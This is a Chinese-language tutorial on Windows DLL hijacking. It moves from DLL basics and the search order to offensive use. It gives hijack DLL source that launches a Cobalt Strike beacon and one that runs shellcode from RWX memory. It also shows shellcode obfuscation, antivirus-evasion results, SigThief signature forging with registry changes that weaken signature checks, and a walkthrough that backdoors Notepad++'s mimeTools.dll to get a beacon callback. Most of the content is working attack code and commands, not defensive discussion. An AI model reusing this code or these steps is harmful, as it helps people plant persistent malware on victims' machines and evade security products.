DLL入门
在 vs2019 新建动态链接库项目,看一下 DLL 基本格式
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
void msg() { // 定义的函数
MessageBox(0, L"Dll- load succeed", 0, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
framework.h
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
调用 DLL
// hello.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定义一个函数类DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定动态加载dll库
HINSTANCE hinst = LoadLibrary(L"TestDll.dll"); // 不能是绝对路径
if (hinst != NULL) {
// 获取函数位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");
}
if (GetDllfunc != NULL) {
//运行msg函数
(*GetDllfunc)();
}
}
dll 调用成功:
劫持的小 demo:
新建一个 TestDll2,生成后将 hello.exe,TestDll,TestDll2 放到一个文件夹中,TestDll 改为 TestDll-org(劫持之后依旧能调用),TestDll2 改为 TestDll。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#pragma comment(linker, "/EXPORT:msg=TestDll-org.msg")
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, L"劫持成功!", L"提示", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
漏洞原理:
一个 windows 应用程序会使用预定义的搜索路径去找它需要被加载的 DLL,那么如果我们有其中一个 DLL 所在目录的写权限,就能放置一个恶意的 DLL 文件来进行攻击 (同时要确保这个DLL文件在合法的DLL找到之前被找到)
微软的 dll 劫持有 3 个阶段:
无保护阶段:Windows XP SP2之前
1.进程对应的应用程序所在目录;
2.加载 DLL 时所在的当前目录;
3.系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
4.16位系统目录即 SYSTEM 目录;
5.Windows目录(通过 GetWindowsDirectory 获取);
6.PATH环境变量中的各个目录;
Windows XP SP2之后,Windows 7之前
添加了一个 SafeDllSearchMode 的注册表属性:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
当这个值设置为 1 的时候,开启安全 dll 搜索模式,查找顺序就是:
1.应用程序所在目录
2.系统目录 SYSTEM32 目录
3.16位系统目录即 SYSTEM 目录(向前兼容)
4.Windows目录(C:\Windows)
5.加载 DLL 时所在的当前目录
6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径
Windows 7之后
从 Windows7 之后, 微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即 SYSTEM32 目录下调用。
路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
在 win10 下的限制:
寻找 DLL 劫持漏洞
如果要劫持系统的 dll 漏洞,大致流程如下:
1.启动应用程序
2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在
4.编写从上一步获取到的DLL的劫持DLL。
5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
理论可行,如果不能劫持的话可能有以下情况:
1.DLL不在KnownDLLs注册表中但是已经被微软做了保护,比如ntdll.dll等系统核心dll
2.宿主进程在调用LoadLibrary函数时使用了“绝对路径”
3.宿主进程对调用的DLL进行了校检,比如文件MD5、HASH等值
4.宿主调用DLL时使用了SetDllDirectory函数把当前目录从DLL的搜索顺序列表中删除
劫持应用 dll,没有校验的直接可以打。可参考倾旋师傅的这篇文章:
https://payloads.online/archivers/2018-06-09/1/
自动化工具:https://github.com/sensepost/rattler
转发式劫持
可以用这个工具实现 https://bbs.pediy.com/thread-224408.htm
两种转发函数:
直接转发函数:即调用原DLL时触发的行为可控(DllMain 可控)
即时调用函数:调用具体函数的时候行为可控,相当于可以实现 hook 某些函数
在生成的代码中添加弹窗:
#include "pch.h"
#include <Windows.h>
#pragma comment(linker, "/EXPORT:msg=TestDllOrg.msg,@1")
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
成功劫持,并且原程序也能正常执行。
注意 64 位的程序要加载 64 位的 dll,32 位的程序要加载 32 位的 dll。
篡改式劫持
直接在 dll 中插入语句,暴力 patch 程序入口点,jmp shellcode,然后继续向下执行,实际中存在很多限制:
1.签名的DLL文件会破坏签名导致失败
2.会修改原生DLL文件,容易出现一些程序错误
可以用 https://github.com/secretsquirrel/the-backdoor-factory 这个项目实现
通用 DLL 劫持
不再需要导出 DLL 的相同功能接口,实现原理其实就是修改 LoadLibrary 的返回值(详细原理没看明白,以后回来补)
用 https://github.com/anhkgg/SuperDllHijack 工具实现。
在源代码中添加弹窗:
VOID DllHijack1(HMODULE hMod)
{
TCHAR tszDllPath[MAX_PATH] = { 0 };
MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
GetModuleFileName(hMod, tszDllPath, MAX_PATH);
PathRemoveFileSpec(tszDllPath);
//PathAppend(tszDllPath, TEXT("dll.dll.1"));
PathAppend(tszDllPath, TEXT("dll.dll"));
//SuperDllHijack(L"dll.dll", tszDllPath);
SuperDllHijack(L"fakedll.dll", tszDllPath);
}
其中,dll.dll 是原本要加载的 dll,fakedll.dll 是构造的恶意 dll,执行 test.exe 后发现劫持成功。
DLL劫持免杀:
白加黑木马的结构
1.Exe(白) —-load—-> dll(黑)
2.Exe(白) —-load—-> dll(黑)—-load—-> 恶意代码
方式一:直接加载木马
修改转发劫持的代码,在 dll 执行结束时自动加载 cs ?,但是这样的话?还是要做免杀,也就能起一个权限维持的作用。
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess(TEXT("F:\\vs_project\\miansha\\hello\\test\\beacon_10_10_10_131.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
return TRUE;
}
方式二:dll 自加载上线
直接在 dll 中写 shellcode,然后上线。但如果是用 cs 生成的原本的 shellcode 的 dll 会被直接杀掉,这里用到了 https://github.com/kgretzky/python-x86-obfuscator 工具对 shellcode 进行混淆。(虽然最后还是会被杀)
python x86obf.py -i payload.bin -o output.bin -r 0-184
然后转换成 c 的格式:
#!/usr/bin/env python3
shellcode = 'unsigned char buf[] = "'
with open("output.bin", "rb") as f:
content = f.read()
#print(content)
for i in content:
shellcode += str(hex(i)).replace("0x", "\\x")
shellcode += '";'
print(shellcode)
dll 文件修改为:
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
unsigned char buf[] = "shellcode";
size_t size = sizeof(buf);
char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(inject, buf, size);
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
火绒查杀能过,360 云查杀过不了。
证书签名伪造
如果我们替换了原有的 dll,会造成 dll 的签名发生改变,但有些杀软不会去检验证书签名是否有效,能一定程度上规避免杀:
工具:https://github.com/secretsquirrel/SigThief.git
可以将从以签名的 PE 文件中剥离签名,并附加到另一个 PE 文件中,但这个签名可能会无效(哈希不匹配)。
python3 sigthief.py -i VSTOInstallerUI.dll -t TestDll.dll -o TestDllSign.dll
查看签名:
Get-AuthenticodeSignature .\TestDll.dll
如何添加有效的签名:
数字签名的哈希验证是通过以下注册表键值执行的:
{603BCC1F-4B59-4E08-B724-D2C6297EF351} // Hash Validation for PowerShell Scripts
{C689AAB8-8E78-11D0-8C47-00C04FC295EE} // Hash Validation for Portable Executables
所在位置:
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
在已有的签名机制下,无法做到既可以使签名合法(证书没有私钥),又满足 hash 匹配,能做到的只有削弱签名验证机制。这里我们需要使用一个合法的 dll 文件来替换原来键值表示的 dll,因为它应该已经使用相同的私钥签名。另外,我们还需要将注册表项原来的函数用一个名叫DbgUiContinue的函数替换掉。
自动化操作可以通过 https://github.com/netbiosX/Digital-Signature-Hijack 实现。(复现失败了)
免杀实操
用 Rattler 自动查找可劫持的 dll
.\Rattler_32.exe "C:\Program Files (x86)\Notepad++\notepad++.exe" 1
靶机上有很多可以利用的:
选一个 mimeTools.dll,用 AheadLib+ 处理后加入 shellcode,然后替换原 dll 文件,运行 notepad++ 后上线
参考文献: